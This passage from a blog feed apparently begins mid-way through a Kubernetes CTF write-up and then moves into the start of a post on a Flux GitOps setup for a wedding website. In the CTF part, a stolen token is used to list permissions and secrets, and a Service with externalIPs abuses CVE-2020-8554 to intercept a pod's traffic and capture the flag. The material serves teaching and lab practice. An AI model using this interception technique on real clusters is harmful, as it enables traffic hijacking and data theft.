</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/.well-known/openid-configuration/<span style="color:#99d1db;font-weight:bold">]</span>   <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/.well-known/openid-configuration<span style="color:#99d1db;font-weight:bold">]</span>    <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/api/*<span style="color:#99d1db;font-weight:bold">]</span>                               <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/api<span style="color:#99d1db;font-weight:bold">]</span>                                 <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/apis/*<span style="color:#99d1db;font-weight:bold">]</span>                              <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/apis<span style="color:#99d1db;font-weight:bold">]</span>                                <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/healthz<span style="color:#99d1db;font-weight:bold">]</span>                             <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/healthz<span style="color:#99d1db;font-weight:bold">]</span>                             <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/livez<span style="color:#99d1db;font-weight:bold">]</span>                               <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/livez<span style="color:#99d1db;font-weight:bold">]</span>                               <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/openapi/*<span style="color:#99d1db;font-weight:bold">]</span>                           <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/openapi<span style="color:#99d1db;font-weight:bold">]</span>                             <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/openid/v1/jwks/<span style="color:#99d1db;font-weight:bold">]</span>                     <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/openid/v1/jwks<span style="color:#99d1db;font-weight:bold">]</span>                      <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/readyz<span style="color:#99d1db;font-weight:bold">]</span>                              <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/readyz<span style="color:#99d1db;font-weight:bold">]</span>                              <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/version/<span style="color:#99d1db;font-weight:bold">]</span>                            <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/version/<span style="color:#99d1db;font-weight:bold">]</span>                            <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/version<span style="color:#99d1db;font-weight:bold">]</span>                             <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/version<span style="color:#99d1db;font-weight:bold">]</span>                             <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span></code></pre></div><ul>
<li>and in the <code>cluster-maintenance</code> namespace</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>kubectl auth can-i --list -n cluster-maintenance --token<span style="color:#99d1db;font-weight:bold">=</span><span style="color:#f2d5cf">$TOKEN</span>
</span></span><span style="display:flex;"><span>Resources                                       Non-Resource URLs                      Resource Names   Verbs
</span></span><span style="display:flex;"><span>selfsubjectreviews.authentication.k8s.io        <span style="color:#99d1db;font-weight:bold">[]</span>                                     <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>create<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>selfsubjectaccessreviews.authorization.k8s.io   <span style="color:#99d1db;font-weight:bold">[]</span>                                     <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>create<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>selfsubjectrulesreviews.authorization.k8s.io    <span style="color:#99d1db;font-weight:bold">[]</span>                                     <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>create<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>namespaces                                      <span style="color:#99d1db;font-weight:bold">[]</span>                                     <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get watch list<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>secrets                                         <span style="color:#99d1db;font-weight:bold">[]</span>                                     <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get watch list<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>services                                        <span style="color:#99d1db;font-weight:bold">[]</span>                                     <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get watch list<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/.well-known/openid-configuration/<span style="color:#99d1db;font-weight:bold">]</span>   <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/.well-known/openid-configuration<span style="color:#99d1db;font-weight:bold">]</span>    <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/api/*<span style="color:#99d1db;font-weight:bold">]</span>                               <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/api<span style="color:#99d1db;font-weight:bold">]</span>                                 <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/apis/*<span style="color:#99d1db;font-weight:bold">]</span>                              <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/apis<span style="color:#99d1db;font-weight:bold">]</span>                                <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/healthz<span style="color:#99d1db;font-weight:bold">]</span>                             <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/healthz<span style="color:#99d1db;font-weight:bold">]</span>                             <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/livez<span style="color:#99d1db;font-weight:bold">]</span>                               <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/livez<span style="color:#99d1db;font-weight:bold">]</span>                               <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/openapi/*<span style="color:#99d1db;font-weight:bold">]</span>                           <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/openapi<span style="color:#99d1db;font-weight:bold">]</span>                             <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/openid/v1/jwks/<span style="color:#99d1db;font-weight:bold">]</span>                     <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/openid/v1/jwks<span style="color:#99d1db;font-weight:bold">]</span>                      <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/readyz<span style="color:#99d1db;font-weight:bold">]</span>                              <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/readyz<span style="color:#99d1db;font-weight:bold">]</span>                              <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/version/<span style="color:#99d1db;font-weight:bold">]</span>                            <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/version/<span style="color:#99d1db;font-weight:bold">]</span>                            <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/version<span style="color:#99d1db;font-weight:bold">]</span>                             <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#99d1db;font-weight:bold">[</span>/version<span style="color:#99d1db;font-weight:bold">]</span>                             <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get<span style="color:#99d1db;font-weight:bold">]</span>
</span></span></code></pre></div><ul>
<li>get all the secrets in <code>cluster-maintenance</code> namespace</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# kubectl get secrets -n cluster-maintenance --token<span style="color:#99d1db;font-weight:bold">=</span><span style="color:#f2d5cf">$TOKEN</span> -o yaml
</span></span><span style="display:flex;"><span>apiVersion: v1
</span></span><span style="display:flex;"><span>items: <span style="color:#99d1db;font-weight:bold">[]</span>
</span></span><span style="display:flex;"><span>kind: List
</span></span><span style="display:flex;"><span>metadata:
</span></span><span style="display:flex;"><span>  resourceVersion: <span style="color:#a6d189">&#34;&#34;</span>
</span></span></code></pre></div><ul>
<li>nothing interesting</li>
<li>get all the pods in production namespace</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# kubectl get pods -n production --token<span style="color:#99d1db;font-weight:bold">=</span><span style="color:#f2d5cf">$TOKEN</span>
</span></span><span style="display:flex;"><span>NAME                             READY   STATUS    RESTARTS   AGE
</span></span><span style="display:flex;"><span>data-uploader-78f7c6865f-7dc6n   1/1     Running   <span style="color:#ef9f76">0</span>          39m
</span></span></code></pre></div><ul>
<li>get the logs</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# kubectl logs data-uploader-78f7c6865f-7dc6n -n production --token<span style="color:#99d1db;font-weight:bold">=</span><span style="color:#f2d5cf">$TOKEN</span>
</span></span><span style="display:flex;"><span>2025/06/25 14:29:49 Starting data uploader...
</span></span><span style="display:flex;"><span>2025/06/25 14:29:49 WARNING: Skipping TLS verification
</span></span><span style="display:flex;"><span>2025/06/25 14:29:49 Pushed data to https://control-plane.io/submit with status: <span style="color:#ef9f76">404</span> Not Found
</span></span><span style="display:flex;"><span>2025/06/25 14:29:59 WARNING: Skipping TLS verification
</span></span><span style="display:flex;"><span>2025/06/25 14:29:59 Pushed data to https://control-plane.io/submit with status: <span style="color:#ef9f76">404</span> Not Found
</span></span></code></pre></div><ul>
<li>something is being pushed to the control-plane website, with no luck. TLS verification is skipped</li>
<li>let&rsquo;s do a MITM using <a href="https://blog.champtar.fr/K8S_MITM_LoadBalancer_ExternalIPs/">CVE-2020-8554</a></li>
<li>let&rsquo;s get all the IPv4 of the control-plane website</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# nslookup control-plane.io
</span></span><span style="display:flex;"><span>;; Got recursion not available from 10.96.0.10
</span></span><span style="display:flex;"><span>;; Got recursion not available from 10.96.0.10
</span></span><span style="display:flex;"><span>;; Got recursion not available from 10.96.0.10
</span></span><span style="display:flex;"><span>Server:		10.96.0.10
</span></span><span style="display:flex;"><span>Address:	10.96.0.10#53
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Name:	control-plane.io
</span></span><span style="display:flex;"><span>Address: 104.26.1.119
</span></span><span style="display:flex;"><span>Name:	control-plane.io
</span></span><span style="display:flex;"><span>Address: 172.67.74.188
</span></span><span style="display:flex;"><span>Name:	control-plane.io
</span></span><span style="display:flex;"><span>Address: 104.26.0.119
</span></span><span style="display:flex;"><span>Name:	control-plane.io
</span></span><span style="display:flex;"><span>Address: 2606:4700:20::ac43:4abc
</span></span><span style="display:flex;"><span>Name:	control-plane.io
</span></span><span style="display:flex;"><span>Address: 2606:4700:20::681a:77
</span></span><span style="display:flex;"><span>Name:	control-plane.io
</span></span><span style="display:flex;"><span>Address: 2606:4700:20::681a:177
</span></span></code></pre></div><ul>
<li>let&rsquo;s create a <code>ClusterIP</code> service with multiple <code>externalIPs</code>. Make sure to use the correct selector</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#ca9ee6">apiVersion</span>: v1
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">kind</span>: Service
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">metadata</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">name</span>: mitm-service
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">namespace</span>: cluster-maintenance
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">spec</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">selector</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">app</span>: cluster-maintenance
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">ports</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#ca9ee6">protocol</span>: TCP
</span></span><span style="display:flex;"><span>      <span style="color:#ca9ee6">port</span>: <span style="color:#ef9f76">443</span>
</span></span><span style="display:flex;"><span>      <span style="color:#ca9ee6">targetPort</span>: <span style="color:#ef9f76">8443</span>
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">externalIPs</span>:
</span></span><span style="display:flex;"><span>  - <span style="color:#ef9f76">104.26.1.119</span>
</span></span><span style="display:flex;"><span>  - <span style="color:#ef9f76">172.67.74.188</span>
</span></span><span style="display:flex;"><span>  - <span style="color:#ef9f76">104.26.0.119</span>
</span></span></code></pre></div><ul>
<li>check the logs of the <code>cluster-maintenance</code> API</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# curl -k https://api.cluster-maintenance/logs
</span></span><span style="display:flex;"><span>2025/06/25 14:29:47 Server starting...
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>2025/06/25 15:14:09 <span style="color:#99d1db;font-weight:bold">[</span>DEBUG<span style="color:#99d1db;font-weight:bold">]</span> <span style="color:#f2d5cf">method</span><span style="color:#99d1db;font-weight:bold">=</span>POST <span style="color:#f2d5cf">path</span><span style="color:#99d1db;font-weight:bold">=</span>/submit <span style="color:#f2d5cf">headers</span><span style="color:#99d1db;font-weight:bold">=[</span>User-Agent<span style="color:#99d1db;font-weight:bold">=</span>Go-http-client/1.1; Content-Length<span style="color:#99d1db;font-weight:bold">=</span>69; Content-Type<span style="color:#99d1db;font-weight:bold">=</span>application/json; Accept-Encoding<span style="color:#99d1db;font-weight:bold">=</span>gzip<span style="color:#99d1db;font-weight:bold">]</span> <span style="color:#f2d5cf">body</span><span style="color:#99d1db;font-weight:bold">={</span><span style="color:#a6d189">&#34;flag&#34;</span>:<span style="color:#a6d189">&#34;flag_ctf{tls_verification_is_very_important_CVE-2020-8554}&#34;</span><span style="color:#99d1db;font-weight:bold">}</span>
</span></span></code></pre></div><h1 id="wrap-up">Wrap up</h1>
<p>Finally, I want to thank the team who helped bring this CTF to life. Thank you to Mario and Aiman for being on the ground in India to run the event, and to Gabriela, Tom, and Sam for their essential help in testing the scenarios beforehand.</p>
<p>Stay tuned for the <a href="https://events.linuxfoundation.org/kubecon-cloudnativecon-north-america/">KubeCon US</a> CTF event!</p>
]]></content></item><item><title>A wedding website powered by Kubernetes, Flux, and GitHub Actions - Part 2</title><link>http://blog.martino.wtf/posts/wedding-pt2/</link><pubDate>Wed, 02 Apr 2025 14:48:15 +0100</pubDate><guid>http://blog.martino.wtf/posts/wedding-pt2/</guid><description>%!s(&lt;nil>)</description><content type="html"><![CDATA[
    <aside class="admonition warning">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-alert-circle">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="8" x2="12" y2="12"></line>
      <line x1="12" y1="16" x2="12.01" y2="16"></line>
   </svg></div><b>Yet another warning, deal with it</b>
        </div>
        <div class="admonition-content"><p>This is not intended as a tutorial for setting up an environment like this, as some things are automated and some other things (like HAProxy setup) are carried out manually. This is still an incomplete mess.</p>
<p>It&rsquo;s meant to be something like a blueprint you can take inspiration from. You will not be able to find detailed commands or detailed code, as I&rsquo;m way too ashamed of my git history to make my repos public atm. I swear I&rsquo;ll fix them in the near future.</p>
</div>
    </aside>
<p>In the previous episode, I&rsquo;ve tried to gave you an idea on how I&rsquo;ve been setting up my environment to host a very simple wedding website.</p>
<h1 id="gitops">GitOps</h1>
<p>The repo containing all the manifests is loosely based on the <a href="https://fluxcd.control-plane.io/guides/d1-architecture-reference/">Flux D1 Architectural Reference</a>, but made simpler without the multitenancy stuff because that would be way overkill for my setup.</p>
<p>This is a multistage reconciliation, managed by different Kustomization CRs. In order:</p>
<h2 id="cluster-vars">cluster-vars</h2>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#ef9f76">---</span>
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">apiVersion</span>: v1
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">kind</span>: ConfigMap
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">data</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">cluster_name</span>: odyssey
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">dns_ip</span>: <span style="color:#ef9f76">192.168.20.66</span>
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">ingress_ip</span>: <span style="color:#ef9f76">192.168.20.67</span>
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">domain</span>: k8s.cicci8ino.it
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">mgmt_domain</span>: k8s.cicci8ino.it
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">load_balancer_pool</span>: <span style="color:#ef9f76">192.168.20.65-192.168.20.126</span>
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">storage_replica</span>: <span style="color:#a6d189">&#34;1&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">metadata</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">name</span>: cluster-vars
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">namespace</span>: flux-system
</span></span></code></pre></div><p>These are the information for this specific cluster. Each key in the <code>ConfigMap</code> should be self-explanatory. If I ever decide to create another cluster, I have to make sure to properly configure these variables.</p>
<h2 id="common-configs-reconciliation">common-configs-reconciliation</h2>
<p>This will only build the manifests from the <code>./common/config</code> folder, as specified in <code>.spec.path.</code></p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#ef9f76">---</span>
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">apiVersion</span>: kustomize.toolkit.fluxcd.io/v1
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">kind</span>: Kustomization
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">metadata</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">name</span>: common-configs-reconciliation
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">namespace</span>: flux-system
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">labels</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">sharding.fluxcd.io/key</span>: infra
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">spec</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">commonMetadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">labels</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#ca9ee6">toolkit.fluxcd.io/tenant</span>: common
</span></span><span style="display:flex;"><span>      <span style="color:#ca9ee6">sharding.fluxcd.io/key</span>: infra
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">interval</span>: 1h
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">retryInterval</span>: 1m
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">timeout</span>: 5m
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">sourceRef</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">kind</span>: GitRepository
</span></span><span style="display:flex;"><span>    <span style="color:#ca9ee6">name</span>: flux-system
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">path</span>: ./common/configs
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">prune</span>: <span style="color:#ef9f76">false</span>
</span></span></code></pre></div><p>The <code>ConfigMap</code> will only bring some common variables that are going to be shared across many Flux CRs.</p>

    <aside class="admonition tip">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-sun">
      <circle cx="12" cy="12" r="5"></circle>
      <line x1="12" y1="1" x2="12" y2="3"></line>
      <line x1="12" y1="21" x2="12" y2="23"></line>
      <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"></line>
      <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"></line>
      <line x1="1" y1="12" x2="3" y2="12"></line>
      <line x1="21" y1="12" x2="23" y2="12"></line>
      <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"></line>
      <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"></line>
   </svg></div><b>Post Variable Substitution</b>
        </div>
        <div class="admonition-content">Have a look at the <a href="https://fluxcd.io/flux/components/kustomize/kustomizations/#post-build-variable-substitution">official Flux doc</a> to understand how to use post variable substitution.</div>
    </aside>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#ca9ee6">apiVersion</span>: v1
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">kind</span>: ConfigMap
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">data</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">mgmt_domain</span>: k8s.cicci8ino.it
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">metadata</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">name</span>: common-configs-vars
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">namespace</span>: flux-system
</span></span></code></pre></div><p>This <code>ConfigMap</code> is mainly used to share the cluster domain for ingress registration. As an example, the wedding website <code>Ingress</code> uses a template on the <code>spec.rules[].host</code> field that is substituted in the final YAML manifests before being applied by Flux.</p>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#ca9ee6">apiVersion</span>: networking.k8s.io/v1
